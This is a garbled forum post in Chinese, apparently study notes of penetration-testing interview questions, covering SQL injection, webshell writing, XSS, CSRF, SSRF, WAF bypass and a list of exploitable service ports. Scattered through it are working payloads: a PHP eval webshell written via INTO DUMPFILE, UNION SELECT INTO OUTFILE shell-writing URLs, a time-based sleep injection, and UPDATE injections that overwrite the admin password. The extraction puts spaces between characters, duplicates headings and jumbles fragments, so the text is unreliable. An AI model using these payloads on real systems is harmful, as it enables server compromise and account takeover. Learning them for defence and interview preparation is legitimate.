l e c t   f r o m   t e s t   w h e r e   i d = 1   a n d   e x p ( ~ ( s e l e c t   *   f r o m ( s e l e c t   u s e r ( ) ) a ) ) ; i f ( a s c i i ( s u b s t r ( “ h e l l o ” ,   1 ,   1 ) ) = 1 0 4 ,   s l e e p ( 5 ) ,   1 ) s e l e c t   ' 一 句 话 '   i n t o   o u t f i l e   ' 路 径 ' s e l e c t   ' 一 句 话 '   i n t o   d u m p f i l e   ' 路 径 ' s e l e c t   ' < ? p h p   e v a l ( $ _ P O S T [ 1 ] )   ? > '   i n t o   d u m p f i l e     ' d : w w w r o o t b a i d u . c o m n v h a c k . p h p ' ; 1 ） 代 码 执 行 ：
5 1 、 、 i m g 标 签 除 了 标 签 除 了 o n e r r o r 属 性 外 ， 还 有 其 他 获 取 管 理 员 路 径 的 办 法 吗 ？ 属 性 外 ， 还 有 其 他 获 取 管 理 员 路 径 的 办 法 吗 ？ s r c 指 定 一 个 远 程 的 脚 本 文 件 ， 获 取 r e f e r e r 5 2 、 、 i m g 标 签 除 了 标 签 除 了 o n e r r o r 属 性 外 ， 并 且 属 性 外 ， 并 且 s r c 属 性 的 后 缀 名 ， 必 须 以 属 性 的 后 缀 名 ， 必 须 以 . j p g 结 尾 ， 怎 么 获 取 管 理 员 路 径 。 结 尾 ， 怎 么 获 取 管 理 员 路 径 。 1 ） 远 程 服 务 器 修 改 a p a c h e 配 置 文 件 ， 配 置 . j p g 文 件 以 p h p 方 式 来 解 析   A d d T y p e   a p p l i c a t i o n / x - h t t p d - p h p   . j p g   < i m g   s r c = h t t p : / / x s s . t v / 1 . j p g >   会 以 p h p 方 式 来 解 析 5 3 、 为 什 么 、 为 什 么 a s p x 木 马 权 限 比 木 马 权 限 比 a s p 大 ？ 大 ？ a s p x 使 用 的 是 . n e t 技 术 。 I I S   中 默 认 不 支 持 ， A S P 只 是 脚 本 语 言 而 已 。 入 侵 的 时 候 a s p 的 木 马 一 般 是 g u e s t 权 限 … A P S X 的 木 马 一 般 是 u s e r s 权 限 。 5 4 、 如 何 绕 过 、 如 何 绕 过 w a f ？ ？ 5 5 、 如 何 向 服 务 器 写 入 、 如 何 向 服 务 器 写 入 w e b s h e l l ？ ？ 5 6 、 渗 透 测 试 中 常 见 的 端 口 、 渗 透 测 试 中 常 见 的 端 口 a 、 w e b 类 ( w e b 漏 洞 / 敏 感 目 录 )   第 三 方 通 用 组 件 漏 洞 s t r u t s   t h i n k p h p   j b o s s   g a n g l i a   z a b b i x b 、 数 据 库 类 ( 扫 描 弱 口 令 ) c 、 特 殊 服 务 类 ( 未 授 权 / 命 令 执 行 类 / 漏 洞 ) e v a l , p r e g _ r e p l a c e + / e , a s s e r t , c a l l _ u s e r _ f u n c , c a l l _ u s e r _ f u n c _ a r r a y , c r e a t e _ f u n c t i o n 2 ） 文 件 读 取 ： f i l e _ g e t _ c o n t e n t s ( ) , h i g h l i g h t _ f i l e ( ) , f o p e n ( ) , r e a d   f i l e ( ) , f r e a d ( ) , f g e t s s ( ) ,   f g e t s ( ) , p a r s e _ i n i _ f i l e ( ) , s h o w _ s o u r c e ( ) , f i l e ( ) 等 3 ) 命 令 执 行 ： s y s t e m ( ) ,   e x e c ( ) ,   s h e l l _ e x e c ( ) ,   p a s s t h r u ( )   , p c n t l _ e x e c ( ) ,   p o p e n ( ) , p r o c _ o p e n ( ) 大 小 写 转 换 法                                                                           干 扰 字 符   / * ! * /                                                                                           编 码   b a s e 6 4   u n i c o d e   h e x   u r l   a s c l l                                                                           复 参 数 各 种 上 传 漏 洞 m y s q l 具 有 写 入 权 限 , 用 s q l 语 句 写 入 s h e l l h t t p   p u t 方 法 8 0   w e b   8 0 - 8 9   w e b   8 0 0 0 - 9 0 9 0   w e b 1 4 3 3   M S S Q L   1 5 2 1   O r a c l e   3 3 0 6   M y S Q L   5 4 3 2   P o s t g r e S Q L 4 4 3   S S L 心 脏 滴 血   8 7 3   R s y n c 未 授 权   5 9 8 4   C o u c h D B   h t t p : / / x x x : 5 9 8 4 / _ u t i l s /   6 3 7 9   r e d i s 未 授 权   7 0 0 1 , 7 0 0 2   W e b L o g i c 默 认 弱 口 令 ， 反 序 列   9 2 0 0 , 9 3 0 0   e l a s t i c s e a r c h   参 考 W o o Y u n :   多 玩 某 服 务 器 E l a s t i c S e a r c h 命 令 执 行 漏 洞   1 1 2 1 1   m e m c a c h e 未 授 权 访 问   2 7 0 1 7 , 2 7 0 1 8   M o n g o d b 未 授 权 访 问  
d 、 常 用 端 口 类 ( 扫 描 弱 口 令 / 端 口 爆 破 ) A L L 、 端 口 合 计 详 情 5 0 0 0 0   S A P 命 令 执 行   5 0 0 7 0 , 5 0 0 3 0   h a d o o p 默 认 端 口 未 授 权 访 问 2 1   f t p   2 2   S S H   2 3   T e l n e t   2 6 0 1 , 2 6 0 4   z e b r a 路 由 ， 默 认 密 码 z e b r a 3 3 8 9   远 程 桌 面 2 1   f t p   2 2   S S H   2 3   T e l n e t   8 0   w e b   8 0 - 8 9   w e b   1 6 1   S N M P   3 8 9   L D A P   4 4 3   S S L 心 脏 滴 血 以 及 一 些 w e b 漏 洞 测 试   4 4 5   S M B   5 1 2 , 5 1 3 , 5 1 4   R e x e c   8 7 3   R s y n c 未 授 权   1 0 2 5 , 1 1 1   N F S   1 4 3 3   M S S Q L   1 5 2 1   O r a c l e : ( i S q l P l u s   P o r t : 5 5 6 0 , 7 7 7 8 )   2 0 8 2 / 2 0 8 3   c p a n e l 主 机 管 理 系 统 登 陆   （ 国 外 用 较 多 ） 2 2 2 2   D A 虚 拟 主 机 管 理 系 统 登 陆   （ 国 外 用 较 多 ）   2 6 0 1 , 2 6 0 4   z e b r a 路 由 ， 默 认 密 码 z e b r a 3 1 2 8   s q u i d 代 理 默 认 端 口 ， 如 果 没 设 置 口 令 很 可 能 就 直 接 漫 游 内 网 了   3 3 0 6   M y S Q L   3 3 1 2 / 3 3 1 1   k a n g l e 主 机 管 理 系 统 登 陆   3 3 8 9   远 程 桌 面   4 4 4 0   r u n d e c k   参 考 W o o Y u n :   借 用 新 浪 某 服 务 成 功 漫 游 新 浪 内 网   5 4 3 2   P o s t g r e S Q L   5 9 0 0   v n c   5 9 8 4   C o u c h D B   h t t p : / / x x x : 5 9 8 4 / _ u t i l s /   6 0 8 2   v a r n i s h   参 考 W o o Y u n :   V a r n i s h   H T T P   a c c e l e r a t o r   C L I   未 授 权 访 问 易 导 致 网 站 被 直 接 篡 改 或 者 作 为 代 理 进 入 内 网   6 3 7 9   r e d i s 未 授 权   7 0 0 1 , 7 0 0 2   W e b L o g i c 默 认 弱 口 令 ， 反 序 列   7 7 7 8   K l o x o 主 机 控 制 面 板 登 录   8 0 0 0 - 9 0 9 0   都 是 一 些 常 见 的 w e b 端 口 ， 有 些 运 维 喜 欢 把 管 理 后 台 开 在 这 些 非 8 0 的 端 口 上   8 0 8 0   t o m c a t / W D C P 主 机 管 理 系 统 ， 默 认 弱 口 令   8 0 8 0 , 8 0 8 9 , 9 0 9 0   J B O S S   8 0 8 3   V e s t a c p 主 机 管 理 系 统   （ 国 外 用 较 多 ）   8 6 4 9   g a n g l i a   8 8 8 8   a m h / L u M a n a g e r   主 机 管 理 系 统 默 认 端 口   9 2 0 0 , 9 3 0 0   e l a s t i c s e a r c h   参 考 W o o Y u n :   多 玩 某 服 务 器 E l a s t i c S e a r c h 命 令 执 行 漏 洞   1 0 0 0 0   V i r t u a l m i n / W e b m i n   服 务 器 虚 拟 主 机 管 理 系 统   1 1 2 1 1   m e m c a c h e 未 授 权 访 问   2 7 0 1 7 , 2 7 0 1 8   M o n g o d b 未 授 权 访 问  
三 、 深 信 服 一 面 三 、 深 信 服 一 面 了 解 哪 些 漏 洞 文 件 上 传 有 哪 些 防 护 方 式 用 什 么 扫 描 端 口 ， 目 录 如 何 判 断 注 入 注 入 有 防 护 怎 么 办 有 没 有 写 过 t a m p e r 3 3 0 6   1 4 4 3   8 0 8 0 是 什 么 端 口 计 算 机 网 络 从 物 理 层 到 应 用 层 x x x x 有 没 有 w e b 服 务 开 发 经 验 如 何 向 服 务 器 写 入 w e b s h e l l 有 没 有 用 过 x s s 平 台 网 站 渗 透 的 流 程 m y s q l 两 种 提 权 方 式 （ u d f ， ？ ） 常 见 加 密 方 式 x x x d d o s 如 何 防 护 有 没 有 抓 过 包 ， 会 不 会 写 w i r e s h a r k 过 滤 规 则 清 理 日 志 要 清 理 哪 些 四 、 四 、 S Q L 注 入 防 护 注 入 防 护 1 、 使 用 安 全 的 A P I 2 、 对 输 入 的 特 殊 字 符 进 行 E s c a p e 转 义 处 理 3 、 使 用 白 名 单 来 规 范 化 输 入 验 证 方 法 4 、 对 客 户 端 输 入 进 行 控 制 ， 不 允 许 输 入 S Q L 注 入 相 关 的 特 殊 字 符 5 、 服 务 器 端 在 提 交 数 据 库 进 行 S Q L 查 询 之 前 ， 对 特 殊 字 符 进 行 过 滤 、 转 义 、 替 换 、 删 除 。 6 、 规 范 编 码 , 字 符 集 五 、 为 什 么 参 数 化 查 询 可 以 防 止 五 、 为 什 么 参 数 化 查 询 可 以 防 止 S Q L 注 入 注 入 原 理 原 理 : 使 用 参 数 化 查 询 数 据 库 服 务 器 不 会 把 参 数 的 内 容 当 作 s q l 指 令 的 一 部 分 来 执 行 ， 是 在 数 据 库 完 成 s q l 指 令 的 编 译 后 才 套 用 参 数 运 行 简 单 的 说 :   参 数 化 能 防 注 入 的 原 因 在 于 , 语 句 是 语 句 ， 参 数 是 参 数 ， 参 数 的 值 并 不 是 语 句 的 一 部 分 ， 数 据 库 只 按 语 句 的 语 义 跑 六 、 六 、 S Q L 头 注 入 点 头 注 入 点 七 、 盲 注 是 什 么 ？ 怎 么 盲 注 ？ 七 、 盲 注 是 什 么 ？ 怎 么 盲 注 ？ 盲 注 是 在 S Q L 注 入 攻 击 过 程 中 ， 服 务 器 关 闭 了 错 误 回 显 ， 我 们 单 纯 通 过 服 务 器 返 回 内 容 的 变 化 来 判 断 是 否 存 在 S Q L 注 入 和 利 用 的 方 式 。 盲 注 的 手 段 有 两 种 ， 一 个 是 通 过 页 面 的 返 回 内 容 是 否 正 确 ( b o o l e a n - b a s e d ) ， 来 验 证 是 否 存 在 注 入 。 一 个 是 通 过 s q l 语 句 处 理 时 间 的 不 同 来 判 断 是 否 存 在 注 入 ( t i m e - b a s e d ) ， 在 这 里 ， 可 以 用 b e n c h m a r k ， s l e e p 等 造 成 延 时 效 果 的 函 数 ， 也 可 以 通 过 构 造 大 笛 卡 儿 积 的 联 合 查 询 表 来 达 到 延 时 的 目 的 。 八 、 宽 字 节 注 入 产 生 原 理 以 及 根 本 原 因 八 、 宽 字 节 注 入 产 生 原 理 以 及 根 本 原 因 1 、 产 生 原 理 、 产 生 原 理 在 数 据 库 使 用 了 宽 字 符 集 而 W E B 中 没 考 虑 这 个 问 题 的 情 况 下 ， 在 W E B 层 ， 由 于 0 X B F 2 7 是 两 个 字 符 ， 在 P H P 中 比 如 a d d s l a s h 和 m a g i c _ q u o t e s _ g p c 开 启 时 ， 由 于 会 对 0 x 2 7 单 引 号 进 行 转 义 ， 因 此 0 x b f 2 7 2 8 0 1 7   m o n g o d b 统 计 页 面   5 0 0 0 0   S A P 命 令 执 行   5 0 0 7 0 , 5 0 0 3 0   h a d o o p 默 认 端 口 未 授 权 访 问 U A R E F E R E R C O O K I E I P
会 变 成 0 x b f 5 c 2 7 , 而 数 据 进 入 数 据 库 中 时 ， 由 于 0 X B F 5 C 是 一 个 另 外 的 字 符 ， 因 此 转 义 符 号 会 被 前 面 的 b f 带 着 " 吃 掉 " ， 单 引 号 由 此 逃 逸 出 来 可 以 用 来 闭 合 语 句 。 2 、 在 哪 里 编 码 、 在 哪 里 编 码 3 、 根 本 原 因 、 根 本 原 因 c h a r a c t e r _ s e t _ c l i e n t ( 客 户 端 的 字 符 集 ) 和 c h a r a c t e r _ s e t _ c o n n e c t i o n ( 连 接 层 的 字 符 集 ) 不 同 , 或 转 换 函 数 如 ， i c o n v 、 m b _ c o n v e r t _ e n c o d i n g 使 用 不 当 。 4 、 解 决 办 法 、 解 决 办 法 统 一 数 据 库 、 W e b 应 用 、 操 作 系 统 所 使 用 的 字 符 集 ， 避 免 解 析 产 生 差 异 ， 最 好 都 设 置 为 U T F - 8 。 或 对 数 据 进 行 正 确 的 转 义 ， 如 m y s q l _ r e a l _ e s c a p e _ s t r i n g + m y s q l _ s e t _ c h a r s e t 的 使 用 。 5 、 、 S Q L 里 面 只 有 里 面 只 有 u p d a t e 怎 么 利 用 怎 么 利 用 先 理 解 这 句 先 理 解 这 句   S Q L 如 果 此   S Q L   被 修 改 成 以 下 形 式 ， 就 实 现 了 注 入 a 、 修 改   h o m e p a g e   值 为 之 后   S Q L   语 句 变 为 u s e r l e v e l   为 用 户 级 别 b 、 修 改   p a s s w o r d   值 为 之 后   S Q L   语 句 变 为 c 、 修 改   i d   值 为 之 后   S Q L   语 句 变 为 九 、 九 、 S Q L 如 何 写 如 何 写 s h e l l / 单 引 被 过 滤 怎 么 办 单 引 被 过 滤 怎 么 办 写 s h e l l :   r o o t 权 限 ， G P C 关 闭 ， 知 道 文 件 路 径   o u t f i l e 函 数 宽 字 节 注 入 1 、 代 替 空 格 的 方 法 、 代 替 空 格 的 方 法 2 、 、 m y s q l 的 网 站 注 入 ， 的 网 站 注 入 ， 5 . 0 以 上 和 以 上 和 5 . 0 以 下 有 什 么 区 别 以 下 有 什 么 区 别 5 . 0 以 下 没 有 i n f o r m a t i o n _ s c h e m a 这 个 系 统 表 ， 无 法 列 表 名 等 ， 只 能 暴 力 跑 表 名 。 5 . 0 以 下 是 多 用 户 单 操 作 ， 5 . 0 以 上 是 多 用 户 多 操 做 。 十 、 十 、 X S S 1 、 、 X S S 原 理 原 理 反 射 型 反 射 型 用 户 提 交 的 数 据 中 可 以 构 造 代 码 来 执 行 ， 从 而 实 现 窃 取 用 户 信 息 等 攻 击 。 需 要 诱 使 用 户 “ 点 击 ” 一 个 恶 意 链 接 ， 才 能 攻 击 成 功 U P D A T E   u s e r   S E T   p a s s w o r d = ' M D 5 ( $ p a s s w o r d ) ' ,   h o m e p a g e = ' $ h o m e p a g e '   W H E R E   i d = ' $ i d ' h t t p : / / x x x . n e t ' ,   u s e r l e v e l = ' 3 U P D A T E   u s e r   S E T   p a s s w o r d = ' m y p a s s ' ,   h o m e p a g e = ' h t t p : / / x x x . n e t ' ,   u s e r l e v e l = ' 3 '   W H E R E   i d = ' $ i d ' m y p a s s ) '   W H E R E   u s e r n a m e = ' a d m i n ' # U P D A T E   u s e r   S E T   p a s s w o r d = ' M D 5 ( m y p a s s ) '   W H E R E   u s e r n a m e = ' a d m i n ' # ) ' ,   h o m e p a g e = ' $ h o m e p a g e '   W H E R E   i d = ' $ i d ' '   O R   u s e r n a m e = ' a d m i n ' U P D A T E   u s e r   S E T   p a s s w o r d = ' M D 5 ( $ p a s s w o r d ) ' ,   h o m e p a g e = ' $ h o m e p a g e '   W H E R E   i d = ' '   O R   u s e r n a m e = ' a d m i n ' ` h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 1 / s q l i . p h p ? i d = 1   i n t o   o u t f i l e   ' C : w a m p 6 4 w w w p h p i n f o . p h p '   F I E L D S   T E R M I N A T E D   B Y   ' < ? p h p   p h p i n f o ( ) ;   ? > ' ` ` h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 1 / s q l i . p h p ? i d = - 1   u n i o n   s e l e c t   1 , 0 x 3 c 3 f 7 0 6 8 7 0 2 0 7 0 6 8 7 0 6 9 6 e 6 6 6 f 2 8 2 9 3 b 2 0 3 f 3 e , 3 , 4   i n t o   o u t f i l e   ' C : w a m p 6 4 w w w p h p i n f o . p h p ' ` % 0 a 、 % 0 b 、 % a 0   等 / * * /   等 注 释 符 < >
存 储 型 存 储 型 存 储 型 X S S 会 把 用 户 输 入 的 数 据 “ 存 储 ” 在 服 务 器 端 。 这 种 X S S 具 有 很 强 的 稳 定 性 。 D O M 型 型 通 过 修 改 页 面 的 D O M 节 点 形 成 的 X S S ， 称 之 为 D O M   B a s e d   X S S 。 2 、 、 D O M 型 和 反 射 型 的 区 别 型 和 反 射 型 的 区 别 反 射 型 反 射 型 X S S ： ： 通 过 诱 导 用 户 点 击 ， 我 们 构 造 好 的 恶 意 p a y l o a d 才 会 触 发 的 X S S 。 反 射 型 X S S 的 检 测 我 们 在 每 次 请 求 带 p a y l o a d 的 链 接 时 页 面 应 该 是 会 带 有 特 定 的 畸 形 数 据 的 。 D O M 型 ： 型 ： 通 过 修 改 页 面 的 D O M 节 点 形 成 的 X S S 。 D O M - b a s e d   X S S 由 于 是 通 过 j s 代 码 进 行 d o m 操 作 产 生 的 X S S ， 所 以 在 请 求 的 响 应 中 我 们 甚 至 不 一 定 会 得 到 相 应 的 畸 形 数 据 。 根 本 区 别 在 我 看 来 是 输 出 点 的 不 同 。 3 、 、 D O M 型 和 型 和 X S S 自 动 化 测 试 或 人 工 测 试 自 动 化 测 试 或 人 工 测 试 人 工 测 试 思 路 ： 人 工 测 试 思 路 ： 找 到 类 似 d o c u m e n t . w r i t e 、 i n n e r H T M L 赋 值 、 o u t t e r H T M L 赋 值 、 w i n d o w . l o c a t i o n 操 作 、 写 j a v a s c r i p t : 后 内 容 、 e v a l 、 s e t T i m e o u t   、 s e t I n t e r v a l   等 直 接 执 行 之 类 的 函 数 点 。 找 到 其 变 量 ， 回 溯 变 量 来 源 观 察 是 否 可 控 ， 是 否 经 过 安 全 函 数 。 自 动 化 测 试 参 看 道 哥 的 博 客 ， 思 路 是 从 输 入 入 手 ， 观 察 变 量 传 递 的 过 程 ， 最 终 检 查 是 否 有 在 危 险 函 数 输 出 ， 中 途 是 否 有 经 过 安 全 函 数 。 但 是 这 样 就 需 要 有 一 个 j a v a s c r i p t 解 析 器 ， 否 则 会 漏 掉 一 些 通 过 j s 执 行 带 入 的 部 分 内 容 。 在 回 答 这 段 问 题 的 时 候 ， 由 于 平 时 对 客 户 的 检 测 中 ， 基 本 是 凭 借 不 同 功 能 点 的 功 能 加 上 经 验 和 直 觉 来 进 行 检 测 ， 对 不 同 类 型 的 X S S 检 测 方 式 实 际 上 并 没 有 太 过 细 分 的 标 准 化 检 测 方 式 ， 所 以 回 答 的 很 烂 。 。 。 4 、 如 何 快 速 发 现 、 如 何 快 速 发 现 X S S 位 置 位 置 5 、 对 于 、 对 于 X S S 怎 么 修 补 建 议 怎 么 修 补 建 议 输 入 点 检 查 ： 输 入 点 检 查 ： 对 用 户 输 入 的 数 据 进 行 合 法 性 检 查 ， 使 用 f i l t e r 过 滤 敏 感 字 符 或 对 进 行 编 码 转 义 ， 针 对 特 定 类 型 数 据 进 行 格 式 检 查 。 针 对 输 入 点 的 检 查 最 好 放 在 服 务 器 端 实 现 。 输 出 点 检 查 ： 输 出 点 检 查 ： 对 变 量 输 出 到 H T M L 页 面 中 时 ， 对 输 出 内 容 进 行 编 码 转 义 ， 输 出 在 H T M L 中 时 ， 对 其 进 行 H T M L E n c o d e ， 如 果 输 出 在 J a v a s c r i p t 脚 本 中 时 ， 对 其 进 行 J a v a s c r i p t E n c o d e 。 对 使 用 J a v a s c r i p t E n c o d e 的 变 量 都 放 在 引 号 中 并 转 义 危 险 字 符 ， d a t a 部 分 就 无 法 逃 逸 出 引 号 外 成 为 c o d e 的 一 部 分 。 还 可 以 使 用 更 加 严 格 的 方 法 ， 对 所 有 数 字 字 母 之 外 的 字 符 都 使 用 十 六 进 制 编 码 。 此 外 ， 要 注 意 在 浏 览 器 中 ， H T M L 的 解 析 会 优 先 于 J a v a s c r i p t 的 解 析 ， 编 码 的 方 式 也 需 要 考 虑 清 楚 ， 针 对 不 同 的 输 出 点 ， 我 们 防 御 X S S 的 方 法 可 能 会 不 同 ， 这 点 可 能 在 之 后 的 文 章 会 做 下 总 结 。 除 此 之 外 ， 还 有 做 H T T P O n l y 对 C o o k i e 劫 持 做 限 制 。 6 、 、 X S S 蠕 虫 的 生 产 条 件 蠕 虫 的 生 产 条 件 正 常 情 况 下 ， 一 个 是 产 生 X S S 点 的 页 面 不 属 于 s e l f 页 面 ， 用 户 之 间 产 生 交 互 行 为 的 页 面 ， 都 可 能 造 成 X S S   W o r m 的 产 生 。 不 一 定 需 要 不 一 定 需 要 存 储 型 X S S 十 一 、 十 一 、 C S R F 1 、 、 C S R F 原 理 原 理 C S R F 是 跨 站 请 求 伪 造 攻 击 ， 由 客 户 端 发 起 , 是 由 于 没 有 在 关 键 操 作 执 行 时 进 行 是 否 由 用 户 自 愿 发 起 的 确 认 2 、 防 御 、 防 御 验 证 R e f e r e r 添 加 t o k e n 3 、 、 t o k e n 和 和 r e f e r e r 做 横 向 对 比 ， 谁 安 全 等 级 高 ？ 做 横 向 对 比 ， 谁 安 全 等 级 高 ？ t o k e n 安 全 等 级 更 高 ， 因 为 并 不 是 任 何 服 务 器 都 可 以 取 得 r e f e r e r ， 如 果 从 H T T P S 跳 到 H T T P ， 也 不 会 发 送 r e f e r e r 。 并 且 F L A S H 一 些 版 本 中 可 以 自 定 义 r e f e r e r 。 但 是 t o k e n 的 话 ， 要 保 证 其 足 够 随 机 且 不 可 泄 露 。 ( 不 可 预 测 性 原 则 ) 4 、 对 、 对 r e f e r e r 的 验 证 ， 从 什 么 角 度 去 做 ？ 如 果 做 ， 怎 么 杜 绝 问 题 的 验 证 ， 从 什 么 角 度 去 做 ？ 如 果 做 ， 怎 么 杜 绝 问 题 对 h e a d e r 中 的 r e f e r e r 的 验 证 ， 一 个 是 空 r e f e r e r ， 一 个 是 r e f e r e r 过 滤 或 者 检 测 不 完 善 。 为 了 杜 绝 这 种 问 题 ， 在 验 证 的 白 名 单 中 ， 正 则 规 则 应 当 写 完 善 。 5 、 针 对 、 针 对 t o k e n , 对 对 t o k e n 测 试 会 注 意 哪 方 面 被 人 ， 会 对 测 试 会 注 意 哪 方 面 被 人 ， 会 对 t o k e n 的 哪 方 面 进 行 测 试 ？ 的 哪 方 面 进 行 测 试 ？ 引 用 一 段 请 教 前 辈 的 回 答 ： 引 用 一 段 请 教 前 辈 的 回 答 ： 十 一 、 十 一 、 S S R F S S R F ( S e r v e r - S i d e   R e q u e s t   F o r g e r y : 服 务 器 端 请 求 伪 造 )   是 一 种 由 攻 击 者 构 造 形 成 由 服 务 端 发 起 请 求 的 一 个 安 全 漏 洞 。 一 般 情 况 下 ， S S R F 攻 击 的 目 标 是 从 外 网 无 法 访 问 的 内 部 系 统 。 （ 正 是 因 为 它 是 由 服 务 端 发 起 的 ， 所 以 它 能 够 请 求 到 与 它 相 连 而 与 外 网 隔 离 的 内 部 系 统 ） S S R F   形 成 的 原 因 大 都 是 由 于 服 务 端 提 供 了 从 其 他 服 务 器 应 用 获 取 数 据 的 功 能 且 没 有 对 目 标 地 址 做 过 滤 与 限 制 。 比 如 从 指 定 U R L 地 址 获 取 网 页 文 本 内 容 ， 加 载 指 定 地 址 的 图 片 ， 下 载 等 等 。 针 对 t o k e n 的 攻 击 ， 一 是 对 它 本 身 的 攻 击 ， 重 放 测 试 一 次 性 、 分 析 加 密 规 则 、 校 验 方 式 是 否 正 确 等 ， 二 是 结 合 信 息 泄 露 漏 洞 对 它 的 获 取 ， 结 合 着 发 起 组 合 攻 击 信 息 泄 露 有 可 能 是 缓 存 、 日 志 、 g e t ， 也 有 可 能 是 利 用 跨 站 很 多 跳 转 登 录 的 都 依 赖 t o k e n ， 有 一 个 跳 转 漏 洞 加 反 射 型 跨 站 就 可 以 组 合 成 登 录 劫 持 了 另 外 也 可 以 结 合 着 其 它 业 务 来 描 述 t o k e n 的 安 全 性 及 设 计 不 好 怎 么 被 绕 过 比 如 抢 红 包 业 务 之 类 的
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理